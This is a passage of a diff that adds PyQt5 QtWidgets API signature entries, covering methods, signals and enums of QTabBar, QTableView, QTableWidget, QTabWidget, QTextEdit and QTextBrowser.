+QtWidgets.QTabBar.setUsesScrollButtons?4(bool) +QtWidgets.QTabBar.usesScrollButtons?4() -> bool +QtWidgets.QTabBar.setCurrentIndex?4(int) +QtWidgets.QTabBar.currentChanged?4(int) +QtWidgets.QTabBar.initStyleOption?4(QStyleOptionTab, int) +QtWidgets.QTabBar.tabSizeHint?4(int) -> QSize +QtWidgets.QTabBar.tabInserted?4(int) +QtWidgets.QTabBar.tabRemoved?4(int) +QtWidgets.QTabBar.tabLayoutChange?4() +QtWidgets.QTabBar.event?4(QEvent) -> bool +QtWidgets.QTabBar.resizeEvent?4(QResizeEvent) +QtWidgets.QTabBar.showEvent?4(QShowEvent) +QtWidgets.QTabBar.paintEvent?4(QPaintEvent) +QtWidgets.QTabBar.mousePressEvent?4(QMouseEvent) +QtWidgets.QTabBar.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QTabBar.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QTabBar.keyPressEvent?4(QKeyEvent) +QtWidgets.QTabBar.changeEvent?4(QEvent) +QtWidgets.QTabBar.moveTab?4(int, int) +QtWidgets.QTabBar.tabsClosable?4() -> bool +QtWidgets.QTabBar.setTabsClosable?4(bool) +QtWidgets.QTabBar.setTabButton?4(int, QTabBar.ButtonPosition, QWidget) +QtWidgets.QTabBar.tabButton?4(int, QTabBar.ButtonPosition) -> QWidget +QtWidgets.QTabBar.selectionBehaviorOnRemove?4() -> QTabBar.SelectionBehavior +QtWidgets.QTabBar.setSelectionBehaviorOnRemove?4(QTabBar.SelectionBehavior) +QtWidgets.QTabBar.expanding?4() -> bool +QtWidgets.QTabBar.setExpanding?4(bool) +QtWidgets.QTabBar.isMovable?4() -> bool +QtWidgets.QTabBar.setMovable?4(bool) +QtWidgets.QTabBar.documentMode?4() -> bool +QtWidgets.QTabBar.setDocumentMode?4(bool) +QtWidgets.QTabBar.tabCloseRequested?4(int) +QtWidgets.QTabBar.tabMoved?4(int, int) +QtWidgets.QTabBar.hideEvent?4(QHideEvent) +QtWidgets.QTabBar.wheelEvent?4(QWheelEvent) +QtWidgets.QTabBar.minimumTabSizeHint?4(int) -> QSize +QtWidgets.QTabBar.tabBarClicked?4(int) +QtWidgets.QTabBar.tabBarDoubleClicked?4(int) +QtWidgets.QTabBar.autoHide?4() -> bool +QtWidgets.QTabBar.setAutoHide?4(bool) +QtWidgets.QTabBar.changeCurrentOnDrag?4() -> bool +QtWidgets.QTabBar.setChangeCurrentOnDrag?4(bool) +QtWidgets.QTabBar.timerEvent?4(QTimerEvent) +QtWidgets.QTabBar.accessibleTabName?4(int) -> QString +QtWidgets.QTabBar.setAccessibleTabName?4(int, QString) +QtWidgets.QTabBar.isTabVisible?4(int) -> bool +QtWidgets.QTabBar.setTabVisible?4(int, bool) +QtWidgets.QTableView?1(QWidget parent=None) +QtWidgets.QTableView.__init__?1(self, QWidget parent=None) +QtWidgets.QTableView.setModel?4(QAbstractItemModel) +QtWidgets.QTableView.setRootIndex?4(QModelIndex) +QtWidgets.QTableView.setSelectionModel?4(QItemSelectionModel) +QtWidgets.QTableView.horizontalHeader?4() -> QHeaderView +QtWidgets.QTableView.verticalHeader?4() -> QHeaderView +QtWidgets.QTableView.setHorizontalHeader?4(QHeaderView) +QtWidgets.QTableView.setVerticalHeader?4(QHeaderView) +QtWidgets.QTableView.rowViewportPosition?4(int) -> int +QtWidgets.QTableView.setRowHeight?4(int, int) +QtWidgets.QTableView.rowHeight?4(int) -> int +QtWidgets.QTableView.rowAt?4(int) -> int +QtWidgets.QTableView.columnViewportPosition?4(int) -> int +QtWidgets.QTableView.setColumnWidth?4(int, int) +QtWidgets.QTableView.columnWidth?4(int) -> int +QtWidgets.QTableView.columnAt?4(int) -> int +QtWidgets.QTableView.isRowHidden?4(int) -> bool +QtWidgets.QTableView.setRowHidden?4(int, bool) +QtWidgets.QTableView.isColumnHidden?4(int) -> bool +QtWidgets.QTableView.setColumnHidden?4(int, bool) +QtWidgets.QTableView.showGrid?4() -> bool +QtWidgets.QTableView.setShowGrid?4(bool) +QtWidgets.QTableView.gridStyle?4() -> Qt.PenStyle +QtWidgets.QTableView.setGridStyle?4(Qt.PenStyle) +QtWidgets.QTableView.visualRect?4(QModelIndex) -> QRect +QtWidgets.QTableView.scrollTo?4(QModelIndex, QAbstractItemView.ScrollHint hint=QAbstractItemView.EnsureVisible) +QtWidgets.QTableView.indexAt?4(QPoint) -> QModelIndex +QtWidgets.QTableView.selectRow?4(int) +QtWidgets.QTableView.selectColumn?4(int) +QtWidgets.QTableView.hideRow?4(int) +QtWidgets.QTableView.hideColumn?4(int) +QtWidgets.QTableView.showRow?4(int) +QtWidgets.QTableView.showColumn?4(int) +QtWidgets.QTableView.resizeRowToContents?4(int) +QtWidgets.QTableView.resizeRowsToContents?4() +QtWidgets.QTableView.resizeColumnToContents?4(int) +QtWidgets.QTableView.resizeColumnsToContents?4() +QtWidgets.QTableView.rowMoved?4(int, int, int) +QtWidgets.QTableView.columnMoved?4(int, int, int) +QtWidgets.QTableView.rowResized?4(int, int, int) +QtWidgets.QTableView.columnResized?4(int, int, int) +QtWidgets.QTableView.rowCountChanged?4(int, int) +QtWidgets.QTableView.columnCountChanged?4(int, int) +QtWidgets.QTableView.scrollContentsBy?4(int, int) +QtWidgets.QTableView.viewOptions?4() -> QStyleOptionViewItem +QtWidgets.QTableView.paintEvent?4(QPaintEvent) +QtWidgets.QTableView.timerEvent?4(QTimerEvent) +QtWidgets.QTableView.horizontalOffset?4() -> int +QtWidgets.QTableView.verticalOffset?4() -> int +QtWidgets.QTableView.moveCursor?4(QAbstractItemView.CursorAction, Qt.KeyboardModifiers) -> QModelIndex +QtWidgets.QTableView.setSelection?4(QRect, QItemSelectionModel.SelectionFlags) +QtWidgets.QTableView.visualRegionForSelection?4(QItemSelection) -> QRegion +QtWidgets.QTableView.selectedIndexes?4() -> unknown-type +QtWidgets.QTableView.updateGeometries?4() +QtWidgets.QTableView.sizeHintForRow?4(int) -> int +QtWidgets.QTableView.sizeHintForColumn?4(int) -> int +QtWidgets.QTableView.verticalScrollbarAction?4(int) +QtWidgets.QTableView.horizontalScrollbarAction?4(int) +QtWidgets.QTableView.isIndexHidden?4(QModelIndex) -> bool +QtWidgets.QTableView.viewportSizeHint?4() -> QSize +QtWidgets.QTableView.setSortingEnabled?4(bool) +QtWidgets.QTableView.isSortingEnabled?4() -> bool +QtWidgets.QTableView.setSpan?4(int, int, int, int) +QtWidgets.QTableView.rowSpan?4(int, int) -> int +QtWidgets.QTableView.columnSpan?4(int, int) -> int +QtWidgets.QTableView.sortByColumn?4(int, Qt.SortOrder) +QtWidgets.QTableView.setWordWrap?4(bool) +QtWidgets.QTableView.wordWrap?4() -> bool +QtWidgets.QTableView.setCornerButtonEnabled?4(bool) +QtWidgets.QTableView.isCornerButtonEnabled?4() -> bool +QtWidgets.QTableView.clearSpans?4() +QtWidgets.QTableView.selectionChanged?4(QItemSelection, QItemSelection) +QtWidgets.QTableView.currentChanged?4(QModelIndex, QModelIndex) +QtWidgets.QTableWidgetSelectionRange?1() +QtWidgets.QTableWidgetSelectionRange.__init__?1(self) +QtWidgets.QTableWidgetSelectionRange?1(int, int, int, int) +QtWidgets.QTableWidgetSelectionRange.__init__?1(self, int, int, int, int) +QtWidgets.QTableWidgetSelectionRange?1(QTableWidgetSelectionRange) +QtWidgets.QTableWidgetSelectionRange.__init__?1(self, QTableWidgetSelectionRange) +QtWidgets.QTableWidgetSelectionRange.topRow?4() -> int +QtWidgets.QTableWidgetSelectionRange.bottomRow?4() -> int +QtWidgets.QTableWidgetSelectionRange.leftColumn?4() -> int +QtWidgets.QTableWidgetSelectionRange.rightColumn?4() -> int +QtWidgets.QTableWidgetSelectionRange.rowCount?4() -> int +QtWidgets.QTableWidgetSelectionRange.columnCount?4() -> int +QtWidgets.QTableWidgetItem.ItemType?10 +QtWidgets.QTableWidgetItem.ItemType.Type?10 +QtWidgets.QTableWidgetItem.ItemType.UserType?10 +QtWidgets.QTableWidgetItem?1(int type=QTableWidgetItem.ItemType.Type) +QtWidgets.QTableWidgetItem.__init__?1(self, int type=QTableWidgetItem.ItemType.Type) +QtWidgets.QTableWidgetItem?1(QString, int type=QTableWidgetItem.ItemType.Type) +QtWidgets.QTableWidgetItem.__init__?1(self, QString, int type=QTableWidgetItem.ItemType.Type) +QtWidgets.QTableWidgetItem?1(QIcon, QString, int type=QTableWidgetItem.ItemType.Type) +QtWidgets.QTableWidgetItem.__init__?1(self, QIcon, QString, int type=QTableWidgetItem.ItemType.Type) +QtWidgets.QTableWidgetItem?1(QTableWidgetItem) +QtWidgets.QTableWidgetItem.__init__?1(self, QTableWidgetItem) +QtWidgets.QTableWidgetItem.clone?4() -> QTableWidgetItem +QtWidgets.QTableWidgetItem.tableWidget?4() -> QTableWidget +QtWidgets.QTableWidgetItem.flags?4() -> Qt.ItemFlags +QtWidgets.QTableWidgetItem.text?4() -> QString +QtWidgets.QTableWidgetItem.icon?4() -> QIcon +QtWidgets.QTableWidgetItem.statusTip?4() -> QString +QtWidgets.QTableWidgetItem.toolTip?4() -> QString +QtWidgets.QTableWidgetItem.whatsThis?4() -> QString +QtWidgets.QTableWidgetItem.font?4() -> QFont +QtWidgets.QTableWidgetItem.textAlignment?4() -> int +QtWidgets.QTableWidgetItem.setTextAlignment?4(int) +QtWidgets.QTableWidgetItem.checkState?4() -> Qt.CheckState +QtWidgets.QTableWidgetItem.setCheckState?4(Qt.CheckState) +QtWidgets.QTableWidgetItem.data?4(int) -> QVariant +QtWidgets.QTableWidgetItem.setData?4(int, QVariant) +QtWidgets.QTableWidgetItem.read?4(QDataStream) +QtWidgets.QTableWidgetItem.write?4(QDataStream) +QtWidgets.QTableWidgetItem.type?4() -> int +QtWidgets.QTableWidgetItem.setFlags?4(Qt.ItemFlags) +QtWidgets.QTableWidgetItem.setText?4(QString) +QtWidgets.QTableWidgetItem.setIcon?4(QIcon) +QtWidgets.QTableWidgetItem.setStatusTip?4(QString) +QtWidgets.QTableWidgetItem.setToolTip?4(QString) +QtWidgets.QTableWidgetItem.setWhatsThis?4(QString) +QtWidgets.QTableWidgetItem.setFont?4(QFont) +QtWidgets.QTableWidgetItem.sizeHint?4() -> QSize +QtWidgets.QTableWidgetItem.setSizeHint?4(QSize) +QtWidgets.QTableWidgetItem.background?4() -> QBrush +QtWidgets.QTableWidgetItem.setBackground?4(QBrush) +QtWidgets.QTableWidgetItem.foreground?4() -> QBrush +QtWidgets.QTableWidgetItem.setForeground?4(QBrush) +QtWidgets.QTableWidgetItem.row?4() -> int +QtWidgets.QTableWidgetItem.column?4() -> int +QtWidgets.QTableWidgetItem.setSelected?4(bool) +QtWidgets.QTableWidgetItem.isSelected?4() -> bool +QtWidgets.QTableWidget?1(QWidget parent=None) +QtWidgets.QTableWidget.__init__?1(self, QWidget parent=None) +QtWidgets.QTableWidget?1(int, int, QWidget parent=None) +QtWidgets.QTableWidget.__init__?1(self, int, int, QWidget parent=None) +QtWidgets.QTableWidget.setRowCount?4(int) +QtWidgets.QTableWidget.rowCount?4() -> int +QtWidgets.QTableWidget.setColumnCount?4(int) +QtWidgets.QTableWidget.columnCount?4() -> int +QtWidgets.QTableWidget.row?4(QTableWidgetItem) -> int +QtWidgets.QTableWidget.column?4(QTableWidgetItem) -> int +QtWidgets.QTableWidget.item?4(int, int) -> QTableWidgetItem +QtWidgets.QTableWidget.setItem?4(int, int, QTableWidgetItem) +QtWidgets.QTableWidget.takeItem?4(int, int) -> QTableWidgetItem +QtWidgets.QTableWidget.verticalHeaderItem?4(int) -> QTableWidgetItem +QtWidgets.QTableWidget.setVerticalHeaderItem?4(int, QTableWidgetItem) +QtWidgets.QTableWidget.takeVerticalHeaderItem?4(int) -> QTableWidgetItem +QtWidgets.QTableWidget.horizontalHeaderItem?4(int) -> QTableWidgetItem +QtWidgets.QTableWidget.setHorizontalHeaderItem?4(int, QTableWidgetItem) +QtWidgets.QTableWidget.takeHorizontalHeaderItem?4(int) -> QTableWidgetItem +QtWidgets.QTableWidget.setVerticalHeaderLabels?4(QStringList) +QtWidgets.QTableWidget.setHorizontalHeaderLabels?4(QStringList) +QtWidgets.QTableWidget.currentRow?4() -> int +QtWidgets.QTableWidget.currentColumn?4() -> int +QtWidgets.QTableWidget.currentItem?4() -> QTableWidgetItem +QtWidgets.QTableWidget.setCurrentItem?4(QTableWidgetItem) +QtWidgets.QTableWidget.setCurrentItem?4(QTableWidgetItem, QItemSelectionModel.SelectionFlags) +QtWidgets.QTableWidget.setCurrentCell?4(int, int) +QtWidgets.QTableWidget.setCurrentCell?4(int, int, QItemSelectionModel.SelectionFlags) +QtWidgets.QTableWidget.sortItems?4(int, Qt.SortOrder order=Qt.AscendingOrder) +QtWidgets.QTableWidget.setSortingEnabled?4(bool) +QtWidgets.QTableWidget.isSortingEnabled?4() -> bool +QtWidgets.QTableWidget.editItem?4(QTableWidgetItem) +QtWidgets.QTableWidget.openPersistentEditor?4(QTableWidgetItem) +QtWidgets.QTableWidget.closePersistentEditor?4(QTableWidgetItem) +QtWidgets.QTableWidget.cellWidget?4(int, int) -> QWidget +QtWidgets.QTableWidget.setCellWidget?4(int, int, QWidget) +QtWidgets.QTableWidget.removeCellWidget?4(int, int) +QtWidgets.QTableWidget.setRangeSelected?4(QTableWidgetSelectionRange, bool) +QtWidgets.QTableWidget.selectedRanges?4() -> unknown-type +QtWidgets.QTableWidget.selectedItems?4() -> unknown-type +QtWidgets.QTableWidget.findItems?4(QString, Qt.MatchFlags) -> unknown-type +QtWidgets.QTableWidget.visualRow?4(int) -> int +QtWidgets.QTableWidget.visualColumn?4(int) -> int +QtWidgets.QTableWidget.itemAt?4(QPoint) -> QTableWidgetItem +QtWidgets.QTableWidget.itemAt?4(int, int) -> QTableWidgetItem +QtWidgets.QTableWidget.visualItemRect?4(QTableWidgetItem) -> QRect +QtWidgets.QTableWidget.itemPrototype?4() -> QTableWidgetItem +QtWidgets.QTableWidget.setItemPrototype?4(QTableWidgetItem) +QtWidgets.QTableWidget.scrollToItem?4(QTableWidgetItem, QAbstractItemView.ScrollHint hint=QAbstractItemView.EnsureVisible) +QtWidgets.QTableWidget.insertRow?4(int) +QtWidgets.QTableWidget.insertColumn?4(int) +QtWidgets.QTableWidget.removeRow?4(int) +QtWidgets.QTableWidget.removeColumn?4(int) +QtWidgets.QTableWidget.clear?4() +QtWidgets.QTableWidget.clearContents?4() +QtWidgets.QTableWidget.itemPressed?4(QTableWidgetItem) +QtWidgets.QTableWidget.itemClicked?4(QTableWidgetItem) +QtWidgets.QTableWidget.itemDoubleClicked?4(QTableWidgetItem) +QtWidgets.QTableWidget.itemActivated?4(QTableWidgetItem) +QtWidgets.QTableWidget.itemEntered?4(QTableWidgetItem) +QtWidgets.QTableWidget.itemChanged?4(QTableWidgetItem) +QtWidgets.QTableWidget.currentItemChanged?4(QTableWidgetItem, QTableWidgetItem) +QtWidgets.QTableWidget.itemSelectionChanged?4() +QtWidgets.QTableWidget.cellPressed?4(int, int) +QtWidgets.QTableWidget.cellClicked?4(int, int) +QtWidgets.QTableWidget.cellDoubleClicked?4(int, int) +QtWidgets.QTableWidget.cellActivated?4(int, int) +QtWidgets.QTableWidget.cellEntered?4(int, int) +QtWidgets.QTableWidget.cellChanged?4(int, int) +QtWidgets.QTableWidget.currentCellChanged?4(int, int, int, int) +QtWidgets.QTableWidget.mimeTypes?4() -> QStringList +QtWidgets.QTableWidget.mimeData?4(unknown-type) -> QMimeData +QtWidgets.QTableWidget.dropMimeData?4(int, int, QMimeData, Qt.DropAction) -> bool +QtWidgets.QTableWidget.supportedDropActions?4() -> Qt.DropActions +QtWidgets.QTableWidget.items?4(QMimeData) -> unknown-type +QtWidgets.QTableWidget.indexFromItem?4(QTableWidgetItem) -> QModelIndex +QtWidgets.QTableWidget.itemFromIndex?4(QModelIndex) -> QTableWidgetItem +QtWidgets.QTableWidget.event?4(QEvent) -> bool +QtWidgets.QTableWidget.dropEvent?4(QDropEvent) +QtWidgets.QTableWidget.isPersistentEditorOpen?4(QTableWidgetItem) -> bool +QtWidgets.QTabWidget.TabShape?10 +QtWidgets.QTabWidget.TabShape.Rounded?10 +QtWidgets.QTabWidget.TabShape.Triangular?10 +QtWidgets.QTabWidget.TabPosition?10 +QtWidgets.QTabWidget.TabPosition.North?10 +QtWidgets.QTabWidget.TabPosition.South?10 +QtWidgets.QTabWidget.TabPosition.West?10 +QtWidgets.QTabWidget.TabPosition.East?10 +QtWidgets.QTabWidget?1(QWidget parent=None) +QtWidgets.QTabWidget.__init__?1(self, QWidget parent=None) +QtWidgets.QTabWidget.clear?4() +QtWidgets.QTabWidget.addTab?4(QWidget, QString) -> int +QtWidgets.QTabWidget.addTab?4(QWidget, QIcon, QString) -> int +QtWidgets.QTabWidget.insertTab?4(int, QWidget, QString) -> int +QtWidgets.QTabWidget.insertTab?4(int, QWidget, QIcon, QString) -> int +QtWidgets.QTabWidget.removeTab?4(int) +QtWidgets.QTabWidget.isTabEnabled?4(int) -> bool +QtWidgets.QTabWidget.setTabEnabled?4(int, bool) +QtWidgets.QTabWidget.tabText?4(int) -> QString +QtWidgets.QTabWidget.setTabText?4(int, QString) +QtWidgets.QTabWidget.tabIcon?4(int) -> QIcon +QtWidgets.QTabWidget.setTabIcon?4(int, QIcon) +QtWidgets.QTabWidget.setTabToolTip?4(int, QString) +QtWidgets.QTabWidget.tabToolTip?4(int) -> QString +QtWidgets.QTabWidget.setTabWhatsThis?4(int, QString) +QtWidgets.QTabWidget.tabWhatsThis?4(int) -> QString +QtWidgets.QTabWidget.currentIndex?4() -> int +QtWidgets.QTabWidget.currentWidget?4() -> QWidget +QtWidgets.QTabWidget.widget?4(int) -> QWidget +QtWidgets.QTabWidget.indexOf?4(QWidget) -> int +QtWidgets.QTabWidget.count?4() -> int +QtWidgets.QTabWidget.tabPosition?4() -> QTabWidget.TabPosition +QtWidgets.QTabWidget.setTabPosition?4(QTabWidget.TabPosition) +QtWidgets.QTabWidget.tabShape?4() -> QTabWidget.TabShape +QtWidgets.QTabWidget.setTabShape?4(QTabWidget.TabShape) +QtWidgets.QTabWidget.sizeHint?4() -> QSize +QtWidgets.QTabWidget.minimumSizeHint?4() -> QSize +QtWidgets.QTabWidget.setCornerWidget?4(QWidget, Qt.Corner corner=Qt.TopRightCorner) +QtWidgets.QTabWidget.cornerWidget?4(Qt.Corner corner=Qt.TopRightCorner) -> QWidget +QtWidgets.QTabWidget.setCurrentIndex?4(int) +QtWidgets.QTabWidget.setCurrentWidget?4(QWidget) +QtWidgets.QTabWidget.currentChanged?4(int) +QtWidgets.QTabWidget.initStyleOption?4(QStyleOptionTabWidgetFrame) +QtWidgets.QTabWidget.tabInserted?4(int) +QtWidgets.QTabWidget.tabRemoved?4(int) +QtWidgets.QTabWidget.event?4(QEvent) -> bool +QtWidgets.QTabWidget.showEvent?4(QShowEvent) +QtWidgets.QTabWidget.resizeEvent?4(QResizeEvent) +QtWidgets.QTabWidget.keyPressEvent?4(QKeyEvent) +QtWidgets.QTabWidget.paintEvent?4(QPaintEvent) +QtWidgets.QTabWidget.setTabBar?4(QTabBar) +QtWidgets.QTabWidget.tabBar?4() -> QTabBar +QtWidgets.QTabWidget.changeEvent?4(QEvent) +QtWidgets.QTabWidget.elideMode?4() -> Qt.TextElideMode +QtWidgets.QTabWidget.setElideMode?4(Qt.TextElideMode) +QtWidgets.QTabWidget.iconSize?4() -> QSize +QtWidgets.QTabWidget.setIconSize?4(QSize) +QtWidgets.QTabWidget.usesScrollButtons?4() -> bool +QtWidgets.QTabWidget.setUsesScrollButtons?4(bool) +QtWidgets.QTabWidget.tabsClosable?4() -> bool +QtWidgets.QTabWidget.setTabsClosable?4(bool) +QtWidgets.QTabWidget.isMovable?4() -> bool +QtWidgets.QTabWidget.setMovable?4(bool) +QtWidgets.QTabWidget.documentMode?4() -> bool +QtWidgets.QTabWidget.setDocumentMode?4(bool) +QtWidgets.QTabWidget.tabCloseRequested?4(int) +QtWidgets.QTabWidget.heightForWidth?4(int) -> int +QtWidgets.QTabWidget.hasHeightForWidth?4() -> bool +QtWidgets.QTabWidget.tabBarClicked?4(int) +QtWidgets.QTabWidget.tabBarDoubleClicked?4(int) +QtWidgets.QTabWidget.tabBarAutoHide?4() -> bool +QtWidgets.QTabWidget.setTabBarAutoHide?4(bool) +QtWidgets.QTabWidget.isTabVisible?4(int) -> bool +QtWidgets.QTabWidget.setTabVisible?4(int, bool) +QtWidgets.QTextEdit.AutoFormattingFlag?10 +QtWidgets.QTextEdit.AutoFormattingFlag.AutoNone?10 +QtWidgets.QTextEdit.AutoFormattingFlag.AutoBulletList?10 +QtWidgets.QTextEdit.AutoFormattingFlag.AutoAll?10 +QtWidgets.QTextEdit.LineWrapMode?10 +QtWidgets.QTextEdit.LineWrapMode.NoWrap?10 +QtWidgets.QTextEdit.LineWrapMode.WidgetWidth?10 +QtWidgets.QTextEdit.LineWrapMode.FixedPixelWidth?10 +QtWidgets.QTextEdit.LineWrapMode.FixedColumnWidth?10 +QtWidgets.QTextEdit?1(QWidget parent=None) +QtWidgets.QTextEdit.__init__?1(self, QWidget parent=None) +QtWidgets.QTextEdit?1(QString, QWidget parent=None) +QtWidgets.QTextEdit.__init__?1(self, QString, QWidget parent=None) +QtWidgets.QTextEdit.setDocument?4(QTextDocument) +QtWidgets.QTextEdit.document?4() -> QTextDocument +QtWidgets.QTextEdit.setTextCursor?4(QTextCursor) +QtWidgets.QTextEdit.textCursor?4() -> QTextCursor +QtWidgets.QTextEdit.isReadOnly?4() -> bool +QtWidgets.QTextEdit.setReadOnly?4(bool) +QtWidgets.QTextEdit.fontPointSize?4() -> float +QtWidgets.QTextEdit.fontFamily?4() -> QString +QtWidgets.QTextEdit.fontWeight?4() -> int +QtWidgets.QTextEdit.fontUnderline?4() -> bool +QtWidgets.QTextEdit.fontItalic?4() -> bool +QtWidgets.QTextEdit.textColor?4() -> QColor +QtWidgets.QTextEdit.currentFont?4() -> QFont +QtWidgets.QTextEdit.alignment?4() -> Qt.Alignment +QtWidgets.QTextEdit.mergeCurrentCharFormat?4(QTextCharFormat) +QtWidgets.QTextEdit.setCurrentCharFormat?4(QTextCharFormat) +QtWidgets.QTextEdit.currentCharFormat?4() -> QTextCharFormat +QtWidgets.QTextEdit.autoFormatting?4() -> QTextEdit.AutoFormatting +QtWidgets.QTextEdit.setAutoFormatting?4(QTextEdit.AutoFormatting) +QtWidgets.QTextEdit.tabChangesFocus?4() -> bool +QtWidgets.QTextEdit.setTabChangesFocus?4(bool) +QtWidgets.QTextEdit.setDocumentTitle?4(QString) +QtWidgets.QTextEdit.documentTitle?4() -> QString +QtWidgets.QTextEdit.isUndoRedoEnabled?4() -> bool +QtWidgets.QTextEdit.setUndoRedoEnabled?4(bool) +QtWidgets.QTextEdit.lineWrapMode?4() -> QTextEdit.LineWrapMode +QtWidgets.QTextEdit.setLineWrapMode?4(QTextEdit.LineWrapMode) +QtWidgets.QTextEdit.lineWrapColumnOrWidth?4() -> int +QtWidgets.QTextEdit.setLineWrapColumnOrWidth?4(int) +QtWidgets.QTextEdit.wordWrapMode?4() -> QTextOption.WrapMode +QtWidgets.QTextEdit.setWordWrapMode?4(QTextOption.WrapMode) +QtWidgets.QTextEdit.find?4(QString, QTextDocument.FindFlags options=QTextDocument.FindFlags()) -> bool +QtWidgets.QTextEdit.toPlainText?4() -> QString +QtWidgets.QTextEdit.toHtml?4() -> QString +QtWidgets.QTextEdit.append?4(QString) +QtWidgets.QTextEdit.ensureCursorVisible?4() +QtWidgets.QTextEdit.loadResource?4(int, QUrl) -> QVariant +QtWidgets.QTextEdit.createStandardContextMenu?4() -> QMenu +QtWidgets.QTextEdit.createStandardContextMenu?4(QPoint) -> QMenu +QtWidgets.QTextEdit.cursorForPosition?4(QPoint) -> QTextCursor +QtWidgets.QTextEdit.cursorRect?4(QTextCursor) -> QRect +QtWidgets.QTextEdit.cursorRect?4() -> QRect +QtWidgets.QTextEdit.anchorAt?4(QPoint) -> QString +QtWidgets.QTextEdit.overwriteMode?4() -> bool +QtWidgets.QTextEdit.setOverwriteMode?4(bool) +QtWidgets.QTextEdit.tabStopWidth?4() -> int +QtWidgets.QTextEdit.setTabStopWidth?4(int) +QtWidgets.QTextEdit.acceptRichText?4() -> bool +QtWidgets.QTextEdit.setAcceptRichText?4(bool) +QtWidgets.QTextEdit.setTextInteractionFlags?4(Qt.TextInteractionFlags) +QtWidgets.QTextEdit.textInteractionFlags?4() -> Qt.TextInteractionFlags +QtWidgets.QTextEdit.setCursorWidth?4(int) +QtWidgets.QTextEdit.cursorWidth?4() -> int +QtWidgets.QTextEdit.setExtraSelections?4(unknown-type) +QtWidgets.QTextEdit.extraSelections?4() -> unknown-type +QtWidgets.QTextEdit.canPaste?4() -> bool +QtWidgets.QTextEdit.moveCursor?4(QTextCursor.MoveOperation, QTextCursor.MoveMode mode=QTextCursor.MoveAnchor) +QtWidgets.QTextEdit.print_?4(QPagedPaintDevice) +QtWidgets.QTextEdit.print?4(QPagedPaintDevice) +QtWidgets.QTextEdit.setFontPointSize?4(float) +QtWidgets.QTextEdit.setFontFamily?4(QString) +QtWidgets.QTextEdit.setFontWeight?4(int) +QtWidgets.QTextEdit.setFontUnderline?4(bool) +QtWidgets.QTextEdit.setFontItalic?4(bool) +QtWidgets.QTextEdit.setText?4(QString) +QtWidgets.QTextEdit.setTextColor?4(QColor) +QtWidgets.QTextEdit.setCurrentFont?4(QFont) +QtWidgets.QTextEdit.setAlignment?4(Qt.Alignment) +QtWidgets.QTextEdit.setPlainText?4(QString) +QtWidgets.QTextEdit.setHtml?4(QString) +QtWidgets.QTextEdit.cut?4() +QtWidgets.QTextEdit.copy?4() +QtWidgets.QTextEdit.paste?4() +QtWidgets.QTextEdit.clear?4() +QtWidgets.QTextEdit.selectAll?4() +QtWidgets.QTextEdit.insertPlainText?4(QString) +QtWidgets.QTextEdit.insertHtml?4(QString) +QtWidgets.QTextEdit.scrollToAnchor?4(QString) +QtWidgets.QTextEdit.redo?4() +QtWidgets.QTextEdit.undo?4() +QtWidgets.QTextEdit.zoomIn?4(int range=1) +QtWidgets.QTextEdit.zoomOut?4(int range=1) +QtWidgets.QTextEdit.textChanged?4() +QtWidgets.QTextEdit.undoAvailable?4(bool) +QtWidgets.QTextEdit.redoAvailable?4(bool) +QtWidgets.QTextEdit.currentCharFormatChanged?4(QTextCharFormat) +QtWidgets.QTextEdit.copyAvailable?4(bool) +QtWidgets.QTextEdit.selectionChanged?4() +QtWidgets.QTextEdit.cursorPositionChanged?4() +QtWidgets.QTextEdit.event?4(QEvent) -> bool +QtWidgets.QTextEdit.timerEvent?4(QTimerEvent) +QtWidgets.QTextEdit.keyPressEvent?4(QKeyEvent) +QtWidgets.QTextEdit.keyReleaseEvent?4(QKeyEvent) +QtWidgets.QTextEdit.resizeEvent?4(QResizeEvent) +QtWidgets.QTextEdit.paintEvent?4(QPaintEvent) +QtWidgets.QTextEdit.mousePressEvent?4(QMouseEvent) +QtWidgets.QTextEdit.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QTextEdit.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QTextEdit.mouseDoubleClickEvent?4(QMouseEvent) +QtWidgets.QTextEdit.focusNextPrevChild?4(bool) -> bool +QtWidgets.QTextEdit.contextMenuEvent?4(QContextMenuEvent) +QtWidgets.QTextEdit.dragEnterEvent?4(QDragEnterEvent) +QtWidgets.QTextEdit.dragLeaveEvent?4(QDragLeaveEvent) +QtWidgets.QTextEdit.dragMoveEvent?4(QDragMoveEvent) +QtWidgets.QTextEdit.dropEvent?4(QDropEvent) +QtWidgets.QTextEdit.focusInEvent?4(QFocusEvent) +QtWidgets.QTextEdit.focusOutEvent?4(QFocusEvent) +QtWidgets.QTextEdit.showEvent?4(QShowEvent) +QtWidgets.QTextEdit.changeEvent?4(QEvent) +QtWidgets.QTextEdit.wheelEvent?4(QWheelEvent) +QtWidgets.QTextEdit.createMimeDataFromSelection?4() -> QMimeData +QtWidgets.QTextEdit.canInsertFromMimeData?4(QMimeData) -> bool +QtWidgets.QTextEdit.insertFromMimeData?4(QMimeData) +QtWidgets.QTextEdit.inputMethodEvent?4(QInputMethodEvent) +QtWidgets.QTextEdit.inputMethodQuery?4(Qt.InputMethodQuery) -> QVariant +QtWidgets.QTextEdit.scrollContentsBy?4(int, int) +QtWidgets.QTextEdit.textBackgroundColor?4() -> QColor +QtWidgets.QTextEdit.setTextBackgroundColor?4(QColor) +QtWidgets.QTextEdit.setPlaceholderText?4(QString) +QtWidgets.QTextEdit.placeholderText?4() -> QString +QtWidgets.QTextEdit.find?4(QRegExp, QTextDocument.FindFlags options=QTextDocument.FindFlags()) -> bool +QtWidgets.QTextEdit.find?4(QRegularExpression, QTextDocument.FindFlags options=QTextDocument.FindFlags()) -> bool +QtWidgets.QTextEdit.inputMethodQuery?4(Qt.InputMethodQuery, QVariant) -> QVariant +QtWidgets.QTextEdit.tabStopDistance?4() -> float +QtWidgets.QTextEdit.setTabStopDistance?4(float) +QtWidgets.QTextEdit.toMarkdown?4(QTextDocument.MarkdownFeatures features=QTextDocument.MarkdownDialectGitHub) -> QString +QtWidgets.QTextEdit.setMarkdown?4(QString) +QtWidgets.QTextBrowser?1(QWidget parent=None) +QtWidgets.QTextBrowser.__init__?1(self, QWidget parent=None) +QtWidgets.QTextBrowser.source?4() -> QUrl +QtWidgets.QTextBrowser.searchPaths?4() -> QStringList +QtWidgets.QTextBrowser.setSearchPaths?4(QStringList) +QtWidgets.QTextBrowser.loadResource?4(int, QUrl) -> QVariant +QtWidgets.QTextBrowser.setSource?4(QUrl) 